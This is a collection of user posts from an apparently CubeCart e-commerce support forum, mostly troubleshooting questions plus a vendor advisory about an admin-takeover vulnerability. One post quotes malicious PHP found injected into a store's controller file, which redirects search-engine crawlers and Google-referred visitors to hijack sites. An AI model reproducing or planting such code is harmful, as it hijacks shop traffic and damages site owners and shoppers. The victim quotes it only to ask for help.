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  1. Have recently updated from CC 3 to 5 - Found the "Delivery Notes or Additional Comments" from check-out are not being included in the admin and customer order emails like before (in V3) - we desperately need this. Maybe I missed an admin setting? They are showing in the Order Summery in the web site admin.
  2. I have a CCv5 website which has the dreaded "This web page has a redirect loop" message when adding a product from the product page to the basket and clicking 'View Basket'. If I do a refresh the message remains, however if I do a hard refresh (Ctrl + F5) it loads and shows the basket contents as intended. I have done my research on this message and I have read about local time changes and there is nothing wrong in my htaccess so I am stumped. The website worked fine, this was upon backup and restore of the website. I have tried multiple computers/browsers, cleared cookies, tried on phone, etc with same result. Screenshot attached.
  3. If you enter an invalid email address in 5.2.17 on the Contact Form no error message is displayed and the page simply reloads?
  4. I would like to the recaptcha from the comfirm page. How can I do this?
  5. A critical security vulnerability has been brought to our attention by Fernando Camara. If an administrator's email is known to a hacker it may be possible to take control of the account and have complete access to the store's control panel. Affected Versions: 5.2.12 to 6.0.6 To patch please download the following files and replace them over your existing ones. It is then recommended to login and change all administrator passwords. CubeCart v6 Patch: classes/admin.class.php (GitHub commit: 2bee289) CubeCart v5 Patch: classes/admin.class.php (GitHub commit: 353d39b) CubeCart 5.2.17 and 6.0.7 will be released later today patching this vulnerability. Many thanks to Fernando for reporting this issue in such a responsible manner. At CubeCart we take security as our number one priority. We apologise sincerely to anyone who has been victimised by this issue. The issue was first reported to us at 12:50pm on Sunday 6th September and patches have been released in less than 24 hours.
  6. I'm sorry if this question has already been answered. I've tried searching different terms to find topics relating to my question but have had no luck with an answer. I have two questions about group pricing. Any help or suggestions would be greatly appreciated! 1. I am hoping (and crossing my fingers!) that there is a way for me to import products via csv for each of my customer groups, or if there is a group price field I could add to the csv file (if that makes sense?). I know that you can edit the price on products for certain groups within the admin. However, I have quite a bit of products and need a lot of groups for each of my customer accounts. Basically each customer has different prices for different products, with no rhyme or reason when it comes to fixed discounts, so I plan on making a group for each customer account so I can upload their pricing when they create an account. Customizing group pricing would be nearly impossible for me to do manually via admin product section with the amount of customers and products I have. I've looked at possible extensions, but none seem to help me with my situation. Any suggestions of an easier way around this or if an import option is available? 2. Part two of my question is that I am wondering if there is a way to hide prices for a specific group. Currently prices are X-d out (hidden) unless you create an account. And I really love that, but I'm hoping to create a group where prices are always X-d out even when logged in. Thank you!!! Amanda Rose
  7. We launched a new version of the successful Galaxy skin. It is available in the Marketplace for purchase. Check out the demo here. Hope to hear your feedback!
  8. i only use the print order form. But only the customer receives a email confirmation of the order. and the owner of the shop does not receive the order by email!! I use the phpmail() function. I have activated the option "Send order confirmation email". Need some help here. Thanks in advance.
  9. I am getting the following two error messages over and over again. I can't interpret them. Can anyone help me out. With thanks Holly File: [catalogue.class.php] Line: [1254] "SELECT I.* FROM CubeCart_inventory AS I LEFT JOIN (SELECT product_id, MAX(price) as price, MAX(sale_price) as sale_price FROM CubeCart_pricing_group WHERE group_id = 0 GROUP BY product_id) as G ON G.product_id = I.product_id WHERE I.product_id IN (SELECT product_id FROM `CubeCart_category_index` as CI INNER JOIN CubeCart_category as C where CI.cat_id = C.cat_id AND C.status = 1) AND I.status = 1 AND IF (G.sale_price IS NULL, I.sale_price, G.sale_price) > 0 ORDER BY Relevance ASC LIMIT 24 OFFSET 0 " - Unknown column 'Relevance' in 'order clause' File: [catalogue.class.php] Line: [1256] "SELECT I.* FROM CubeCart_inventory AS I LEFT JOIN (SELECT product_id, MAX(price) as price, MAX(sale_price) as sale_price FROM CubeCart_pricing_group WHERE group_id = 0 GROUP BY product_id) as G ON G.product_id = I.product_id WHERE I.product_id IN (SELECT product_id FROM `CubeCart_category_index` as CI INNER JOIN CubeCart_category as C where CI.cat_id = C.cat_id AND C.status = 1) AND I.status = 1 AND IF (G.sale_price IS NULL, I.sale_price, G.sale_price) > 0 ORDER BY Relevance ASC " - Unknown column 'Relevance' in 'order clause'
  10. Hi folks must be having a duh moment. Trying to do some different flavor data exports of our CC 5.2.13 shop for both posterity, and backups/migrations, paranoia, prior to CC6 move. Obviously can do full exports / backups of dbase via panel, cron, phpmysql, etc. which we do. So, I managed to easily do the "order search" from 2009 to today, filter by "order completed", export all as CSV, but obviously this will have duplicate entries for each customer on a line by line basis; seems painful to go through and manually remove duplicates for a customer who has done 100 orders with us.. There doesn't seem to be "export" button when doing a search by date range for all customers. If I do a 'view all' under customers, there is no export option. Is there perhaps a hack to add an export option to the customer search, or a plugin to "export all customers" that would work with v5 ? (and presumably could be adapted to v6 if there is no export customers option in v6 either?). One of those duh things that would have been useful in CC all these years. Export newsletter doesn't help as that does not have all the customer data and we have not been using this system for newsletter push. Thanks for any guidance on this! :-) Really not looking forward to manually editing the CSV/Excel file based on orders to remove dupes with sort by customer name column. I am super rusty with phpmysql, but if anybody has the "put in this string, and select these fields, dummy..." help, man that would be so awesome. I'm not MySQL/phpmyadmin illiterate, just only have to mess with that maybe once a year, so it's not my normal hang out. :-)
  11. I have added two products to our basket and when you click on basket it tries to load and then nothing http://www.sweettreasuresmm.com/5.6/index.php?_a=basket
  12. I was testing out a bunch of shopping carts for a friend. I did this by installing each cart in its own directory. The shopping cart we are going to keep is /5.6/. Being that this build allows you to turn off SEO. Once we are test and all has passed I want to eventually move it to the main directory. Will these just be a simple moving of the files?
  13. I was looking at are website and the height is wrong. At the end of the footer where it says ecommerce by cube cart. The scroll is not done it still looks like it has 2 more pages to go. Any help can be appreciated. sweettreasuresmm.com/5.6/
  14. I have installed a clean version of 5.2.16 because it seems without the ability to mod_rewrite it will not work. We have 7 categories and they are on two lines. We are using the CrossHatch skin. Where would the css be so that I might change the font size so that it fits on one line?
  15. I installed CubeCart 5.2.16 on my godaddy hosting account directly from the applications it has on there. I installed it without a hitch and configured the store. I deleted the test product and category and made another category and made another product. When I go to upload the picture it says upload successful but it is not showing a picture. it says image is unavailable and it is under the 350kb limit. When I go to the file manager and images I can upload it but as soon as i try and edit the picture it says it is not there. Any help would be appreciated.
  16. I have a CC v5.2.16 site where several customers have an issue with the checkout process. In some cases they have to click the "Checkout" button up to three times in order to proceed from the address page as they keep getting the "Address has been updated" message at the top of the page. I tried setting "My delivery address is the same as my billing address" to checked by default to try to get round the issue (for most customers) but I still get the "Address has been updated" message every time I click the "Checkout" button, even if the address hasn't been updated. I even get the message if I revisit the page and don't touch the "My delivery address is the same as my billing address" check-box when clicking the "Checkout" button. This is causing a bit of confusion. Is there any way to turn off just this one message so that the user is directed to the next stage of the checkout process (payment options) without a page refresh and "Address has been updated" message? Many thanks...
  17. Hi there, There seem to be a problem with the CC store I've made for a client. In a google search the first result in Google is an item from the client's webshop, but when you click on the link you end up on a 404 page :-( I've tried to delete cashe, and we have tried to wait for some time to give Google a chance to get the right productpage, but with no succes. Could anyone help on this one? The store is on http://www.mijnleukstesieraden.nl/ and the 404 is for example http://www.mijnleukstesieraden.nl/accessoires/en-nog-meer-/hippie-boho-ibiza-haarband-hoofdband-oranje-rode-bloemen-p263.html Thanks! Daphne.
  18. I was looking at the front of my website at directknifesales.com and I noticed strange wording appearing. is it my browser? the screen flicked and then It happened. any suggestions? did I get hacked? usisng 5.2.14
  19. Running 5.2.14 with some modifications to convert store to quotation system. Customer reported that site working OK with direct URL entry but any links from Google were being redirected to another site. After some head scratching and a search of the files for the foreign site name I found the following code had been inserted into /controllers/controller.inc.php. if (preg_match("#(google|googlebot|slurp@inktomi|yahoo! slurp|msnbot)#si", $_SERVER['HTTP_USER_AGENT'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.hijack-site-1.com/"); exit; } if (preg_match("#(www\.google)#si",$_SERVER['HTTP_REFERER'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.hijack-site-2.com/item/product-folder/item-number.html"); exit; } I've changed the site CubeCart admin password. Anyone got any suggestions as to how the code was inserted? File permissions were set at 644. What do I do to prevent occurrence? Many thanks.
  20. For tax purposes I have exported my stock using the stock catalogue. I need to know the total number of each product that I have so that I can work out the total cost of my remaining stock. Exporting the catalogue doesnt import the stock options only the total stock for each product. Unfortuantley it appears my the total stock level for each product does not match the actual stock level in the stock matrix Ie for red shoes total stock level shows 6 yet options show extra large 1 large 2 so total stock actual equals 3 not 6. Is there something I can do to make the total stock level equal the stock in the options? My apologises if there is a post on this already I have been searching for a while but havent found exactly what I am looking for
  21. If you view the image I am noticing that ALL CubeCart stores are displaying an extended version of the News & Announcements. Why is this?
  22. how do you change the lettering on the front page under categories that says hompage?
  23. I'm looking to push the gift certificates & noticed on the purchase form that although I have the delivery option set to 'digital only' so email is the only delivery method the Recipient Email field is not compulsory. How do I fix that please?
  24. I have a CC5 store with lots of options per product. Line 149 of admin/skins/templates/orders.index.php just has the variable {$product.options} which produces a linear list which is very difficult to read when there are lots of options (see screen grab). Please could someone let me know where {$product.options} is created and if it's possible to amend the code to add <br /> tags at the end of each option. Many thanks...
  25. Hi, Have a frequent problem in CC5, where product photos do not display in categories or customers shopping basket. Was advised to clear cache in admin- maintenance. Did this and can see categories but again no product pics in Checkout 'basket'. Would love to know why this is happening and permanent fix, as no doubt costing client sales. Thanks all.
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